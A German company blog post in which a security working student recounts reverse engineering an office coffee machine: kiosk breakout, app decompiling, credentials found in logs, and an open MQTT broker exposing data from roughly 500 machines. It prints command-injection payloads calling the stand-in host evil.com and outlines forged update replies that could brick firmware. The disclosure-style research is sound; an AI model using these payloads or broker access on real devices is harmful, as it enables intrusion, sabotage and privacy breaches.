Kaffeemaschinenhacking - Ein Reversing-Abenteuer

Mittwoch, 12.7.2023

Unser Werkstudent Oskar Zeino berichtet über das Projekt, das er neben seiner Tätigkeit als Werkstudent im Bereich IT-Security der viadee anging: Er hat unsere Kaffeemaschine gehackt!!! Dies wurde unter anderem dadurch ermöglicht, dass die viadee Mitarbeitenden und Studierenden die Freiräume und das Budget bereitstellt, sich und neue Technologien und Methoden auszuprobieren. 

Ich bin Oskar, Werkstudent im Security-Team des Bereichs Forschung und Entwicklung bei der viadee. Ich studiere IT-Sicherheit im Master an der Ruhr-Universität Bochum. In diesem Artikel berichte ich von meinem Reversing-Abenteuer der neuen Kaffeemaschine in unserem Büro. Reversing (Kurzform von Reverse Engineering) bedeutet, dass man die technische Funktionsweise eines Geräts oder einer Software versteht, ohne die tatsächlichen Aufbau des Geräts oder den Programmcode der Software zu kennen. In diesem Artikel gehe ich meine Schritte beim Untersuchen der Kaffeemaschine durch, beschreibe welche Tools ich dazu verwendet habe und welche lustigen sowie beunruhigenden Dinge dabei zum Vorschein gekommen sind. Aber warum würde man sich überhaupt so genau mit der Funktionsweise einer Bürokaffeemaschine beschäftigen? Unsere hat einen Bildschirm mit großen Bildchen zum Auswählen der Lieblingssorte, die kann jede Fünfjährige bedienen, ohne zu wissen, wie die Maschine genau funktioniert. Und ich bin auch noch Teetrinker...

 

Die Kaffeemaschine kann ja Wifi!

Kurz nachdem diese Maschine im Büro eingerichtet wurde, kam ein Kollege auf mich zu und sagte den verhängnisvollen Satz zu mir: "Oskar, die neue Kaffeemaschine, die kann ja Wifi!" Er würde sich freuen, wenn ich mir mal genauer anschauen könnte, was die Maschine so genau im Netzwerk macht. Es gebe nämlich keine Dokumentation zu dem Feature und es wäre ja toll, wenn es da eine versteckte API gäbe, "zum Ändern vom Milchgehalt zum Beispiel". Während mein Kollege sich also praktische Smart-Home Features ausmalte, gingen mir ganz andere Gedanken durch den Kopf: Undokumentierte Verbindung der Kaffeemaschine ins Internet? Spioniert uns der Hersteller etwa aus? Was, wenn das Gerät aus dem Internet erreichbar ist und gehackt wird? Ist das ein Einfallstor in das interne Unternehmensnetzwerk? Mir war sofort klar, dass ich die Kaffeemaschine genauer unter die Lupe nehmen möchte.

 

Trafficanalyse mit Wireshark

Mein erster Instinkt war, herauszufinden, was die Maschine so ins Internet funkt und mit wem sie da spricht. Zur Trafficanalyse hab ich mir das Tool Wireshark geschnappt. Wireshark eignet sich hervorragend dazu, beliebige IP-Pakete mitzuschneiden und die gesendeten Daten in darauf aufbauenden Protokollen wie TCP oder HTTP darzustellen. Damit ich aber den Traffic der Maschine analysieren kann, muss dieser zuerst irgendwie an meinen Laptop umgeleitet werden. Die Kaffeemaschine ist im Wifi-Netz natürlich direkt mit dem Router verbunden, von wo aus der Traffic ins Internet geht. Es fließen also keine Pakete der Maschine zu meinem Laptop. Ich erstelle also an meinem Laptop einen Wifi-Hotspot. Wenn ich nun die Kaffeemaschine mit meinem Hotspot verbinde, präsentiert sich mein Laptop gegenüber der Maschine als Router. Ihre IP-Pakete werden erst an meinen Laptop geschickt, der sie dann an den Wifi-Router leitet, von wo aus sie ins Internet kommen. Nur, dass ich in dieser Konstellation alle Pakete sehen und analysieren kann. Solch eine Position meines Laptops im Netzwerk zwischen der Kaffeemaschine und dem Internet nennt man auch Man in the Middle (MitM).

Trafficanalyse

 

Breakout

Meine nächste Aufgabe war also das Verbinden der Kaffeemaschine mit meinem Wifi-Hotspot. Nur war nirgends eine Einstellung für Wifi zu finden. Ich fragte also meinen Kollegen, der das mit dem Wifi einstellen ja schon geschafft hatte und er zeigte mir den notwendigen Trick: In den Einstellungen der Maschine gibt es einen Menüpunkt "Datum & Uhrzeit". Nur führt dieser Knopf in ein ganz anders aussehendes Menü: nämlich das "Datum & Uhrzeit"-Menü des Betriebssystems Android. In Android kann man mit einer Wischbewegung nach unten die Benachrichtigungsleiste öffnen, wo es einen Shortcut zu den Android Einstellungen gibt. Das bestätigt endgültig, dass der Bildschirm in der Kaffeemaschine einfach ein Android-Smartphone ist. Wie im Video zu sehen ist, habe ich nur mit einer einfachen Wischbewegung und durch den Aufbau der Kaffee-App einen Kiosk Breakout geschafft, es also aus der für Nutzer:innen zu verwendenden App herausgeschafft. In den Android-Einstellungen kann man nun einfach das Wifi konfigurieren, aber auch alles andere, was sich an einem Android Handy eben so einstellen lässt. Nur fehlt leider ein Home-Button, sodass man nicht auf den Homescreen kommt, wo man andere Apps außer den Einstellungen öffnen könnte.

 

Mysteriöser Server

Nachdem ich in den Einstellungen die Kaffeemaschine mit meinem Wifi-Hotspot verbunden habe, ist der Traffic der Maschine nun in Wireshark analysierbar. Die Kaffeemaschine verbindet sich nur mit einem einzigen Server, welcher sich anhand der IP wohl in China befindet. Die Kommunikation ist jedoch mit TLS verschlüsselt, dem sicheren Protokoll zur Verschlüsselung von Internet-Traffic. Anhand des genutzten Ports 8883 konnte ich aber schließen, dass es sich um verschlüsselten MQTT-Traffic handeln muss. Was genau das Protokoll MQTT ist, wird im Verlauf des Artikels noch beleuchtet. Eine unverschlüsselte DNS-Anfrage verrät auch die Domain des Servers: iotcloud.[redacted].com . (Die genaue Domain sowie andere identifizierende Details zum Kaffeemaschinenhersteller werden in diesem Artikel nicht genannt.) Unter der Domain läuft auch ein Webserver mit einer Loginmaske zu einer Art Verwaltungsdashboard für Kaffeemaschinen. Ich vermute also, dass dort Analysedaten von Kaffeemaschinen zusammenlaufen. Welche Daten genau aber an diesen Server gesendet werden, ist erstmal nicht klar, da nur verschlüsselt gesendet wird. Zeit also, die Verschlüsselung zu umgehen.

TLS "knacken" mit MITMProxy

MITMProxy ist ein praktisches Tool zum "knacken" von verschlüsselten HTTPS- und TLS-Verbindungen. Dabei bricht man die Verschlüsselung nicht wirklich, sondern bringt nur das verbundene Gerät dazu, mit dem MITMProxy eine verschlüsselte Verbindung aufzubauen. Der Proxy kann einem dann den entschlüsselten Traffic anzeigen, den Traffic danach neu verschlüsseln und an den eigentlichen Zielserver weiterleiten. Die Kaffeemaschine glaubt dabei, direkt mit dem Server unter iotcloud.[redacted].com verbunden zu sein. Damit dieser MitM-Angriff auf die Verschlüsselung funktioniert, erstellt das MITMProxy Tool automatisch von sich selbst signierte TLS-Zertifikate für die gerade angefragte Domain und antwortet damit auf TLS-Handshakes für jede Domain.

proxy

Damit nicht jeder so einen MitM-Angriff im Internet durchführen kann, wenn man gerade entspannt Online-Banking macht, verschlüsseln Clients nur mit Servern, welche ein signiertes TLS-Zertifikat vorweisen. Dabei muss die Signatur von einer vertrauenswürdigen Certificate Authority (CA) kommen, wodurch das Vertrauen quasi auf das signierte Zertifikat übergeht. Jedes Betriebsystem wie Android oder Windows hat eine Liste mit vertrauenswürdigen Root CAs hinterlegt, welchen immer vertraut wird. Vereinfacht gesagt, zeichnen sich diese Root CAs dadurch aus, dass sie nicht jeder Person einfach so ein TLS-Zertifikat für eine Domain ausstellen, sondern dies nur für bestätigte Inhaber:innen einer Domain tun (die Chain-of-Trust lasse ich hier zur Vereinfachung weg). Deswegen ist es normalerweise nicht möglich, sich selbst ein TLS-Zertifikat für www.bank.com auszustellen, welches von Clients auch akzeptiert wird. Eine vertrauenswürdige CA wird das Zertifikat nicht für mich signieren und wenn ich es selbst signiere, fällt dem Client das auch sofort auf.

Eine Möglichkeit in diesem Fall ist es, den Client umzukonfigurieren, sodass dieser mich bzw. MITMProxy für vertrauenswürdig hält. Das geht natürlich nur, wenn man Kontrolle über den Client hat - was bei der Kaffeemaschine ja der Fall ist. Zumindest kann ich auf der Maschine die Android-Einstellungsapp öffnen. Um das Vertrauen in MITMProxy aber auf der Maschine zu konfigurieren, muss ich eine Zertifikatsdatei auf dem Android Handy ablegen. Nur die Einstellungsapp reicht dazu jedoch nicht. Dort kann ich zum Beispiel keine Dateien aus dem Internet herunterladen.

Breakout II

Doch praktischerweise dachte sich der Hersteller der Kaffeemaschine das auch: Wenn Menschen auf der Maschine im Standbymodus coole, eigene Videos abspielen wollen, dann muss die Videodatei ja auch irgendwie auf die Maschine drauf. Zumindest sind für genau diesen Zweck zwei praktische USB-Ports hinter einer Abdeckung versteckt. Nachdem ich diese Abdeckung etwas unorthodox abgeschraubt habe, konnte ich also beliebige Dateien per USB-Stick auf die Kaffeemaschine draufkopieren. Dazu gehören auch .apk Dateien, Installationsdateien für Androidapps. Da es ja die ganze Zeit keinen Home-Button gab, habe ich zuerst die App VirtualSoftkeys installiert, welche einen Home-Button am unteren Bildschirmrand simuliert. Jetzt kann man endlich auch auf den Homescreen und beliebige Apps öffnen. Kombiniert mit der Fähigkeit, beliebige Apps per APK Datei über einen USB-Stick zu installieren, erlaubt uns das die vollständige Kontrolle über das verbaute Android-Smartphone. Zumindest die Kontrolle, die jeder User von seinem eigenen Smartphone in der Hosentasche kennt. Wie zum Beispiel (unbequem) Flappy Bird spielen, während man auf seinen Kaffee wartet.

 

App Patching

Nach einer Runde Flappy Bird habe ich mich wieder an mein ursprüngliches Ziel erinnert: die TLS-Verschlüsselung mit MITMProxy "knacken", indem ich eine Zertifikatsdatei von MITMProxy als vertrauenswürdig auf dem Android-Smartphone konfiguriere. Mit dem USB-Stick habe ich also die Zertifikatsdatei kopiert und nach der Android-Anleitung des Tools in die MITMproxy CA hinzugefügt. Erst dann ist mir der große Warnhinweis aufgefallen: Android-Apps vertrauen seit 2016 user-added CAs nicht mehr. Die App-Entwickler:innen müssen dies aktivieren, was natürlich im Fall der Kaffeemaschinen-App nicht der Fall ist. Die Lösung zum Problem wird auch direkt erwähnt: App-Patching. Das bedeutet, dass man die bereits kompilierte und als APK Datei verpackte App bearbeitet und neu installiert. Ich muss also die Android network security configuration bearbeiten, welche für eine Android-App festlegt, welchen Zertifikaten oder CAs die App vertrauen will. Praktischerweise gibt es für das richtige Patchen der network security configuration einer APK auch fertige Tools wie apk-mitm. Mit einer anderen Android App, SAI, welche ich per USB-Stick auf der Maschine installiert habe, konnte ich die installierte Kaffeemaschinenapp als APK Datei exportieren und per USB-Stick zu meinem Laptop bekommen.

Die mit apk-mitm gepatchte APK wollte ich erst einmal testen, bevor ich sie zurück auf die Kaffeemaschine installierte - nicht, dass die Maschine am Ende nicht mehr funktioniert. Ich habe es allerdings nicht geschafft, die App weder in diversen Emulatoren wie Windows Subsystem for Android, noch direkt auf meinem Android-Smartphone zu installieren. Es kam immer eine kryptische Fehlermeldung. Da ich mich ansonsten mit Android-Apps wenig auskenne, habe ich es auf diesem Weg erstmal nicht weiter versucht. Die MITMProxy Idee führte hier also in eine Sackgasse.

AppPatching

Quelle: https://github.com/mitmproxy/mitmproxy

 

Code Archäologie

Jetzt, wo ich schonmal die APK auf meinem Laptop habe, kann ich ja auch direkt die App decompilen und direkt nachlesen, was da so alles gemacht wird. Der Decompiler JADX dekompiliert den Dalvik-Bytecode (anderes Bytecodeformat für Java unter der Android Runtime) zu gut lesbarem Javacode. Es fehlen zwar Kommentare und die meisten Variablennamen, aber Klassen- und Methodennamen bleiben erhalten. Außerdem kann man wie einer IDE nach der Verwendung bestimmter Variablen, Methoden oder Klassen suchen. Dadurch lässt sich der Code der App ziemlich gut nachvollziehen. Es handelt sich aber auch um relativ viel Code, einige eingebundene Libraries, das machte den Überblick über die gesamte App und ihren Aufbau erstmal schwer und ich verlor viel Zeit durch rumstöbern. Den Aufbau der App habe ich also gar nicht im Detail nachvollzogen, sondern mich durch Suchen an Codesnippets entlanggehangelt. Ich habe nach interessanten Begriffen gesucht wie "AES" (dem Standard Verschlüsselungsverfahren) oder "MQTT" (das verwendete Protokoll in der Kommunikation mit dem Server). Durch das Stöbern und die Suche bin ich auf einige interessante Stellen gestoßen:

Die Entwickler:innen haben sehr viele Lognachrichten geschrieben, welche im Gegensatz zu Kommentaren noch erhalten sind. Eine Suche nach bestimmten Wörtern aus den Logs war ein amüsanter Einblick in die Gedanken von Entwickler:innen, wenn mal ein Fehler passiert oder etwas nicht klappt:

Kaffeemanschine-Code

Ich habe außerdem nach dem Verschlüsselungsverfahren "AES" gesucht, da immer wenn etwas verschlüsselt wird, wahrscheinlich etwas wichtiges versteckt werden soll. Dabei habe ich eine Klasse zur Verschlüsselung von Properties der App gefunden, also zB. Client ID oder Passwort für die Kommunikation mit dem Server. Praktischerweise liegt der zugehörige AES-Schlüssel ACKCODE direkt daneben im Code. Dazu sei gesagt, dass geheime Passwörter oder API Keys in einer Android-App generell nicht komplett vor Zugriffen eines Reverse Engineers geschützt werden können. Man kann nur mit Obfuscation arbeiten, um das Finden solcher Secrets schwieriger zu machen. Der AES-Schlüssel ist interessanterweise base64-kodiert. Ich habe überlegt, ob sich vielleicht ein Passwort dahinter verbirgt und nicht nur zufällige Bytes. Und tatsächlich, base64-dekodiert ergibt der AES-Schlüssel SMARTISANWILLFOUNDYOU$#@#$@!##@!!@@@! Es scheint, als wäre jemand hier darauf vorbereitet gewesen, dass der Code mal genauer unter die Lupe genommen wird.

Kaffeemanschine-Code1

Beim Suchen nach "MQTT" habe ich die Klasse PushClient gefunden. In dieser wird sich mit dem MQTT Server verbunden. Und dort wird in der connect Methode eine Lognachricht mit key/pwd/clientid/host geloggt. Mein erster Gedanke ist, dass es sich bei pwd um password handeln muss. Es war klar, ich musste dringend mal in diese Logs gucken. Eigentlich hätte ich schon viel früher nach Logs gucken sollen...

Kaffeemanschine-Code2

Sehr viel Logging

Die Logdatei liegt einfach in einem Ordner auf dem Dateisystem des Android Geräts. Seltsamerweise ist die Logdatei riesig: 25MB. Anscheinend werden pro Tag 4 Millionen Zeilen geloggt. Die Entwickler:innen haben Logs eingebaut, welche 3 Mal pro Sekunde aufgerufen werden, den ganzen Tag. Je nach gerade festgestelltem Fehler kommen entsprechend viel Logs zusammen, wem auch immer diese nützen sollen. Netterweise sind auch alle Verbindungsdaten für die MQTT Verbindung einschließlich Passwort unter den Logs. Userid und Passwort sind selbstverständlich simpel gehalten und wirken wie Standardpasswörter, welche sehr wahrscheinlich von jeder Kaffeemaschine des gleichen Modells verwendet werden. Mit diesen Zugangsdaten konnte ich nun meinen Laptop anstatt der Kaffeemaschine mit dem MQTT Server verbinden. Vielleicht sieht man auf diese Weise, was dort gesendet wird.

Kaffeemaschine LogfolderLogs Password

MQTT Explorer

Nachdem der Begriff MQTT so oft gefallen ist, hier eine kurze Einführung in das Protokoll: MQTT ist ein einfaches Message-Protokoll, welches hauptsächlich für IoT Devices eingesetzt wird. Dabei gibt es einen zentralen Server, den MQTT broker, zu welchem sich Geräte verbinden. Im Gegensatz zum klassischen Client-Server Modell liefert der Broker aber selbst keine Inhalte auf Anfrage zurück. Stattdessen können MQTT clients subscribe Nachrichten mit einem Topic an den Broker senden. Damit weiß der Broker, dass ein Client alle Nachrichten zu einem bestimmten Topic erhalten möchte. Ein Topic ist dabei einfach ein Pfad wie bei einer URL. Jeder Client kann außerdem publish Nachrichten mit einem Topic und einem Payload senden. Der Broker leitet diese Nachricht nun an alle Clients weiter, welche zu dem entsprechenden Topic subscribed sind. Es ist auch möglich, mit einer Wildcard zu beliebigen Untertopics zu subscriben. Der Vorteil für IoT Geräte: Messaging zwischen verschiedenen Geräten wird asynchron ermöglicht. Nur der Broker muss dauerhaft online und über eine Domain oder feste IP erreichbar sein.

MQTT DiagramQuelle: https://de.mathworks.com/help/supportpkg/raspberrypi/ref/publish-and-subscribe-to-mqtt-messages.html

Mit dem Tool MQTT Explorer kann man sich einfach am PC mit einem MQTT Broker verbinden und Nachrichten lesen oder publishen. Das Tool subscribed dabei zu allen Topics mithilfe der Wildcard. So kann man auch ohne alle genutzten Topics zu kennen so viel wie möglich mitlesen.

MQTT Explorer overview

Quelle: https://mqtt-explorer.com/

 

Überblick über allen Kaffee

Ich nutzte also die Verbindungsdaten aus den Logfiles, um mich mit MQTT Explorer mit dem MQTT broker Server unter der Domain iotcloud.[redacted].com zu verbinden. Und damit öffnete ich die Schleusen: Ich empfing innerhalb von einer Minute über 1000 MQTT Nachrichten von allen möglichen Geräten. Nach ein paar Minuten waren um die 500 verschiedenen Geräte zusammengekommen. Dabei handelte es sich sehr wahrscheinlich um andere Kaffeemaschinen des gleichen Herstellers. Die einzelnen Nachrichten enthalten einige interessante Daten: Statistiken über jeden gekochten Kaffee jeder Maschine. Softwareupdate Anfragen von Kaffeemaschinen. Payment URLs für die Dienste Alipay oder WeChat. Von manchen Kaffeemaschinen die Adresse und GPS Koordinaten. Jede Nachricht jeweils mit der ID der sendenden Kaffeemaschine versehen. All diese Informationen werden an den MQTT Server geschickt, um das für Kund:innen nutzbare Verwaltungsdashboard des Herstellers zu füttern.

MQTT Explorer Espresso

Jede Kaffeebestellung wird direkt geloggt.

MQTT Explorer Update

Softwareupdate Anfrage

MQTT Explorer Alipay

Payment URL von Alipay

MQTT Explorer Location censored

Manche Kaffeemaschinen geben ihre Koordinaten und Adresse an

 

Nachdem ich das erstmal verdaut hatte, stand die Frage im Raum, warum ich all diese Daten bekomme. Schnell war mir klar: Die Entwickler:innen haben ein Standardprogramm als MQTT Broker eingesetzt: EMQX. Und bei EMQ ist erstmal allen verbunden Clients alles erlaubt. Im Kontext eines Hobby-Smarthomeprojekts ist das noch in Ordnung. Aber tausende Kaffeemaschinen im Besitz ganz unterschiedlicher Leute, welche alle mit dem gleichen Broker verbunden sind, ist einfach ein anderes Setting. Hier ist eine funktionierende Zugriffskontrolle notwendig, um genau diese Situation zu verhindern. Die Entwickler:innen haben keinerlei Access Control eingesetzt, um den verbunden Kaffeemaschinen das Lesen von Daten anderer Maschinen zu verbieten. Dabei bietet EMQX natürlich Access Control an, um Clients publish oder subscribe Nachrichten auf bestimmten Topics zu erlauben oder zu verbieten.

Mögliche Auswirkungen der Schwachstelle

Es ist möglich, Statistiken über den Betrieb und die Kaffeeproduktion aller Kaffeemaschinen des Herstellers mitzulesen. Das hat aber für Besitzer:innen noch nicht unbedingt Auswirkungen auf deren Privatsphäre, da Nachrichten nur unter einer eindeutigen, pseudonymen ID geschickt werden. Das Gleiche gilt für den Schutz betrieblicher Informationen einer Firma, welche eine oder mehrere Kaffeemaschinen verwendet. Ein:e Angreifer:in müsste nämlich in jedem Fall eine Verbindung zwischen der ID der Kaffeemaschine und der dahinterliegenden Identität herstellen. Ein kleiner Anteil der Kaffeemaschinen sendet auch den eigenen Standort an den Server, als GPS-Koordinaten und als Adresse. Eventuell können in diesem Fall die Standortdaten zu Identifizierung einzelner Besitzer:innen genutzt werden.

Ein größeres Problem entsteht durch die Möglichkeit, beliebige Nachrichten senden zu können. Das wird vom MQTT Broker genauso wenig verhindert wie das Lesen beliebiger Nachrichten. Die Kaffeemaschinen nutzen das MQTT Protokoll teilweise für klassische Client-Server Anfragen, zum Beispiel um nach einem möglichen Softwareupdate zu fragen. Hier könnten Angreifer:innen selbst auf die Softwareupdate-Anfrage mit einer eigenen Nachricht und eigenem Downloadlink für das Update antworten. Der dekompilierte Javacode liefert Aufschluss über einige mögliche Nachrichten, die die Kaffeemaschinen als Befehl empfangen können und welche zur Störung des Betriebs missbraucht werden können: Es gibt Befehle zum Ein- oder Ausschalten der Maschine, zum Kochen eines Kaffees, zum Ändern eines der eingestellten Kaffeerezepte, zum Einrichten eines PINs. Verkaufsmaschinen erwarten beim Kauf eines Kaffees teilweise auch eine Payment-URL von Alipay oder WeChat Pay. Angreifer:innen könnten hier eventuell mit ihrer eigenen URL antworten, um selbst das Geld von Käufer:innen zu empfangen. Auf eine Softwareupdate-Anfrage kann mit einem Update für die Androidapp oder für den mit dem Androidgerät verbundenen Microchip geantwortet werden. Der in der Kaffeemaschine verbaute Microchip ist für das Steuern der einzelnen Bestandteile der Maschine zuständig: Kocher, Kaffeemühle, Wasserstandsmesser, .... Eine eigene Androidapp können Angreifer:innen aufgrund von Signaturüberprüfungen nicht erfolgreich an eine Kaffeemaschine senden. Bei einem Firmwareupdate des Microchips hingegen gibt es keine Überprüfung. Hier wird einfach ein binärer Datenblob übergeben, welcher in Chunks an den Microchip gesendet wird. Angreifer:innen könnten einfach irgendwelche zufälligen binären Daten übergeben, um die Firmware zu löschen und den Microchip lahmzulegen. Bis zu einer qualifizierten Reparatur wäre dann die Kaffeemaschine nicht mehr zu gebrauchen.

Beinahe Remote Code Execution

Im dekompilierten Javacode für die Installation eines Softwareupdates befindet sich eine wahrscheinlich nicht ausnutzbare Command Injection Schwachstelle. Bei einer Command Injection Schwachstelle werden userkontrollierte Daten in einen String eingefügt, welcher dann als Shellcommand ausgeführt wird. Durch Einfügen von Shell-Steuerzeichen wie ' " ; lassen sich weitere beliebige Commands einfügen.

Genau so eine Command Injection Schwachstelle gibt es im Softwareupdate-Mechanismus der Kaffeemaschinen-App. Die App fragt regelmäßig nach einem neuen Softwareupdate. Bei einer Antwort wird eine Downloadurl aus der Antwortnachricht genommen, von wo eine APK-Datei mit der neuen Appversion heruntergeladen wird. Dann wird eine Signaturprüfung der APK-Datei durchgeführt, wodurch keine neue App installiert werden kann, nur ein Update zur bereits installierten App. Angreifer:innen können also so nicht remote eine völlig beliebige App installieren immerhin. Nach dem Check wird die runtergeladene Datei mit dem Android Package Manager installiert. Dies geschieht bei einigen Modellen der Maschine über einen einfachen Methodenaufruf, bei anderen Modellen hingegen mit einem Shellcommand. Im Shellcommand Fall wird der Command pm install -r <filename.apk> aufgerufen (Bild 3). pm  steht hier für den Android Package Manager, der Dateiname der runtergeladenen APK-Datei wird am Ende eingefügt. Dabei entsteht die Command Injection Schwachstelle: Denn der Dateiname besteht aus dem Package Name der APK (nicht kontrollierbar) und einer Versionsnummer namens viewVersion (Bild 2). Die viewVersion Variable stammt direkt aus der Softwareupdate Nachricht des Servers.

Oder ein:e Angreifer:in sendet selbst eine  Softwareupdate-Nachricht als Antwort auf eine Anfrage (Bild 1). Darin wird eine Download-URL zur aktuell bereits installierten APK-Datei angehängt, welche von der Kaffeemaschine ja runterkopiert wurde. Das ist notwendig, um die Signaturprüfung zu überstehen. Dann lässt sich in viewVersion eine Proof of Concept Command Injection Payload angeben, zum Beispiel ; curl evil.com # . Der daraus zusammengesetzte Shellcommand sieht dann so aus: pm install -r com.[redacted].android.launcher.V; curl evil.com #.apk (Bild 2 + 3). Der Package Manager Command wird einen Fehler zurückgeben, da es die angegebene Datei nicht gibt. Das ist aber egal, nach dem Semikolon kommt ein neuer Befehl. Dieser sendet mit curl einen HTTP-Request an den Angriffsserver, um den Beweis für einen ausführbaren Befehl zu haben. Das .apk , welches Teil des generierten Dateinamens ist, wird mit einem Hashtag auskommentiert. Somit wäre eigentlich bewiesen, dass remote Angreifer:innen auszuführende Befehle auf alle Kaffeemaschinen eines bestimmten Modells senden können.

RCE - update message

Antwort auf eine Softwareupdate Anfrage mit einer Command Injection Payload in viewVersion.

RCE - filename

viewVersion landet im Dateinamen der runtergeladenen APK Datei.

RCE - command injection

Der Dateiname wird direkt in einen String eingefügt, welcher als Shell Command ausgeführt wird

 

Doch wer genau hingeschaut hat wird sehen, dass dieser Angriff nicht so einfach funktioniert. Denn der viewVersion Parameter wird in Großbuchstaben umgewandelt (Bild 2). Es entsteht also in Wirklichkeit der command pm install -r com.[redacted].android.launcher.V; CURL EVIL.COM #.apk. Und das ist ein Problem, weil quasi jeder Befehl auf linuxbasierten Systemen wie Android per Konvention klein geschrieben wird. Nach etwas rumprobieren habe ich einen neuen Versuch mit dieser Payload gestartet: ; X='CURL EVIL.COM'; ${X@L}; # Hier wird die Environment Variable X auf den gewünschten Befehl gesetzt. Dann wird eine Shell Parameter Expansion mit einem Modifier @L genutzt. Dadurch wird der Wert von X zuerst in Kleinbuchstaben umgewandelt und dann als Befehl ausgeführt. Doch dieser Versuch scheiterte daran, dass es sich bei dem Modifier @L um eine Besonderheit der Shell bash handelt. Android verwendet jedoch die mksh Shell, wo dieser Modifier nicht existiert. Weitere Versuche einer funktionierenden Payload unter anderem mit String Indexing scheiterten daran, dass die Payload Teil eines gültigen Dateinamens auf Android sein muss. Auf dem Dateisystem von Android werden jedoch einige nützliche Sonderzeichen in Dateinamen nicht erlaubt, darunter der für String Indexing in mksh notwendige Doppelpunkt.

Selbst, wenn ich eine funktionierende Payload finden würde, könnte ich sie nicht testen. Die Kaffeemaschine hier im Büro hat das falsche Modell, bei dem die Shell Command Methode zur Installation eines Updates nicht genutzt wird. Somit ist diese Command Injection Schwachstelle am Ende wahrscheinlich nicht ausnutzbar. Allerdings nicht wegen sicherer Programmierung, sondern nur wegen dem Zusammenkommen von Zufällen.

 

Fazit: Was haben wir gelernt?

Ausgelöst von einem harmlosen Kommentar zu unserer neuen Kaffeemaschine habe ich auf dieser Reise vieles entdeckt und gelernt: Wie man Traffic eines Geräts im Wifi mit Wireshark beobachtet. Tricks wie versteckte Menüs, USB-Ports und Apps, um aus Kiosk-Apps auszubrechen. MITMProxy und die Schwierigkeiten, damit tatsächlich Traffic von Androidapps zu beobachten. Decompiling von Androidapps und was man dabei alles finden kann. Nämlich einen unsicher konfigurierten MQTT-Server, welcher einem Tool wie MQTT-Explorer einfach alle Nachrichten von allen verbundenen Kaffeemaschinen liefert, über Kaffeestatistiken und teilweise sogar Standorte. Und darüber hinaus die Möglichkeit, beliebige Nachrichten an andere Maschinen zu senden, um möglicherweise einen Denial of Service Angriff auf Kaffeemaschinen zu starten: Mit Befehlen zum Ausschalten von Maschinen oder zum Installieren eines fehlerhaften Softwareupdates auf einen Microcontroller in der Maschine, wodurch diese nachhaltig kaputt gehen könnte. Ich lerne daraus, nicht jedes Gerät einfach so ins Internet zu lassen, erst recht wenn die Funktion nicht dokumentiert ist. Und ach ja, ich kann jetzt Flappy Bird oder DOOM auf der Maschine spielen, während sie Kaffee kocht. Es hat sich also gelohnt.

 


Du willst das auch?

Wenn du dir Oskars Kaffeemaschinen-Blogpost bis zum Ende durchgelesen hast und jetzt so richtig Bock hast, ähnliches zu erleben, dann bist du bei der viadee genau richtig. Egal ob Werkstudierende wie Oskar oder Festangestellte – bei uns bekommen alle Kolleg:innen die Möglichkeit, neben ihren Projekten für unsere Kund:innen auch in unserem Bereich Forschung und Entwicklung mitzuarbeiten. Das bringt uns nicht nur motivierte Mitarbeitende, die coole Projekte durchziehen, sondern – wie in diesem Beispiel auch – konkrete Learnings, wie neue Technologien in der Praxis eingesetzt werden können und damit auch wieder Fachwissen für unsere Kund:innen und Projekte. Dies führt dazu, dass die viadee nicht nur als Great Place to Work ausgezeichnet ist, sondern im Jahr 2022 auch als TOP Innovator. Unser Vorschlag für dich ist daher: Bewirb dich bei uns!


Dieser Beitrag wurde geschrieben von Oskar Zeino in seiner Zeit als Werkstudent im Bereich IT-Sicherheit bei der viadee Unternehmensberatung. 

 


zurück zur Blogübersicht

Diese Beiträge könnten Sie ebenfalls interessieren

Keinen Beitrag verpassen – viadee Blog abonnieren

Jetzt Blog abonnieren!

Kommentare

Martin Müller

Martin Müller

Martin Müller ist Software-Architekt und IT-Security Consultant bei der viadee IT-Unternehmensberatung. Neben seinen Projekteinsätzen ist er im Kompetenzbereich IT-Sicherheit aktiv.
Martin Müller ist zertifiziert als Certified Information Systems Security Professional (CISSP). Er teilt sein Wissen gerne mit anderen Entwickler:innen und vermittelt es in Schulungen und Vorträgen bspw. auf dem NAVIGATE-Kongress 2022.

Martin Müller bei Xing  Martin Müller bei LinkedIn